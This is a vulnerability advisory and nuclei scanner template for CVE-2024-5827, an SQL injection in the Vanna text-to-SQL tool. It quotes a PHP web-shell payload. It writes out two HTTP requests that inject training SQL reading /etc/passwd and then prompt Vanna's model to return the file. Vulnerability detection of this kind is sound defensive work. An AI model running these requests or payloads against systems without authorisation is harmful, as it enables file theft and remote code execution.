CVE-2024-5827· CWE-434
Vanna - SQL injection
Vanna v0.3.4 is vulnerable to SQL injection in its DuckDB integration exposed to its Flask Web APIs. Attackers can inject malicious SQL training data and generate corresponding queries to write arbitrary files on the victim's file system, such as backdoor.php with contents `<?php system($_GET[0]); ?>`. This can lead to command execution or the creation of backdoors.
Impact
Unauthenticated attackers can exploit SQL injection to inject malicious training data and write arbitrary files on the victim's filesystem, including PHP backdoors, leading to remote code execution.
Fix
Update Vanna to version 0.3.5 or later to address the SQL injection vulnerability in the DuckDB integration.
How to confirm it
Send: POST /api/v0/train
Positive when: contains "id\":"
Send: GET /api/v0/generate_sql?question=What%20is%20the%20content%20of%20the%20first%201000%20characters%20of%20the%20%2Fetc%2Fpasswd%20file?
Positive when: matches /root:.*:0:0:/ AND status 200 AND contains in header "application/json"Run it with nuclei: nuclei -id CVE-2024-5827 -u <target>
The full check
id: CVE-2024-5827
info:
name: Vanna - SQL injection
author: olfloralo,nukunga,harksu,nechyo,gy741
severity: critical
description: |
Vanna v0.3.4 is vulnerable to SQL injection in its DuckDB integration exposed to its Flask Web APIs. Attackers can inject malicious SQL training data and generate corresponding queries to write arbitrary files on the victim's file system, such as backdoor.php with contents `<?php system($_GET[0]); ?>`. This can lead to command execution or the creation of backdoors.
impact: |
Unauthenticated attackers can exploit SQL injection to inject malicious training data and write arbitrary files on the victim's filesystem, including PHP backdoors, leading to remote code execution.
remediation: |
Update Vanna to version 0.3.5 or later to address the SQL injection vulnerability in the DuckDB integration.
reference:
- https://huntr.com/bounties/a3f913d6-c717-4528-b974-26d8d9e839ca
- https://nvd.nist.gov/vuln/detail/CVE-2024-5827
- https://huntr.com/bounties/e4e64a51-618b-41d0-8f56-1d2146d8825e
- https://github.com/fkie-cad/nvd-json-data-feeds
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-5827
cwe-id: CWE-434
epss-score: 0.03424
epss-percentile: 0.89018
metadata:
verified: true
max-request: 2
fofa-query: body='vanna.ai'
tags: cve,cve2024,vanna,sqli,vkev,vuln
flow: http(1) && http(2)
http:
- raw:
- |
POST /api/v0/train HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"sql":"SELECT pg_read_file('/etc/passwd', 0, 1000);"}
matchers:
- type: word
words:
- 'id":'
internal: true
- raw:
- |
GET /api/v0/generate_sql?question=What%20is%20the%20content%20of%20the%20first%201000%20characters%20of%20the%20%2Fetc%2Fpasswd%20file? HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
- type: word
part: header
words:
- 'application/json'References
- https://huntr.com/bounties/a3f913d6-c717-4528-b974-26d8d9e839ca
- https://nvd.nist.gov/vuln/detail/CVE-2024-5827
- https://huntr.com/bounties/e4e64a51-618b-41d0-8f56-1d2146d8825e
- https://github.com/fkie-cad/nvd-json-data-feeds
Use this check only on systems you are authorised to test. Where the data comes from